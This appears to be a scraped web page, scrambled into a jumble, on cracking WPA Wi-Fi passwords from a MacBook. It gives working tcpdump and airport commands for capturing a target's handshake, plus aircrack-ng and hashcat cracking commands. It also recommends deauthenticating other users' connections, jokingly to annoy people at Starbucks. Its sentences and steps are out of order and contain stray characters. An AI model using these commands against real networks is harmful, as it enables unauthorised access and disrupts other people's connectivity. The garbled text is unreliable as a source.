

#FIND WIFI PASSWORD MAC TERMINAL CRACK#
I managed to crack the 5 last lowercase letters of a wifi password in about 1 minute (26**5 // 75000 = 158 seconds to test them all). On my MacBook Pro, it yields a performance of 5kH/s: it tests 5000 passwords in a second. Refer to the documentation fot more patterns. Hashcat -m 2500 -a3 capture.hccapx ?d?d?d?d?d?d?d?d We can really speed up the process by using hashcat. Like aireplay-ng, aircrack-ng offers so many features that it cannot be the best in everything. If nothing shows, try to deauth another user. Anyway you should normally get at least 4.

It appears you can use less that 4 frames, but it depends on the frames you got (for instance 1,2 or 2,3 are sufficient). Use JamWiFi to deauth some users, and when tcpdump shows you it got 4 frames or more, Ctrl-C. When you launch those lines, the first tcpdump easily captures a beacon and the second waits for the handshake. Mergecap -a -F pcap -w capture.cap beacon.cap handshake.cap # wait for the WPA handshake sudo tcpdump "ether proto 0x888e and ether host $BSSID " -I -U -vvv -i en1 -w handshake.cap You capture a lot of unuseful packets too.Įxport BSSID = $TARGET_MAC_ADDRESS # disassociate sudo airport -z # set the channel # DO NOT PUT SPACE BETWEEN -c and the channel # for example sudo airport -c6 sudo airport -c $CHANNEL # capture a beacon frame from the AP sudo tcpdump "type mgt subtype beacon and ether src $BSSID " -I -c 1 -i en1 -w beacon.cap You cannot know if you got the beacon and the handshake until you stop the capture and try with aircrack-ng.

It might not work it you are too far from the target as your airport card is far less powerful than the router. Stop after about 50 “Deauths”, or else the persons might have trouble to reconnect during several minutes. Once you have selected the access point, you can deauth one or multiple users. In fact, you can indentify the target with it too, and it has a really nice GUI. A ready-to-use application is provided there. We only want to send some deauthentification frames. You might read that airport cards do not support packet injection, but packet injections are for WEP attacks and nobody uses WEP anymore. The catch is that aireplay-ng can do a lot of other things besides deauth attacks. If you don’t have the beacon or the handshake, it will fail accordingly.Īs I said, aireplay-ng doesn’t work on a MacBook Pro. Identify the target - with airport “Install”Īircrack-ng -w wordlist.txt -b $TARGET_MAC_ADDRESS airportSniff.cap When they reconnect, they re-send the handshake. The good news is that you can deauthentificate people from the wifi network - it’s called wifi jamming and it’s useful to impress a girl and piss off people at Starbucks. What makes the retrieval of the handshake hard is that it appears only when somebody connects to the access point.
#FIND WIFI PASSWORD MAC TERMINAL DRIVERS#
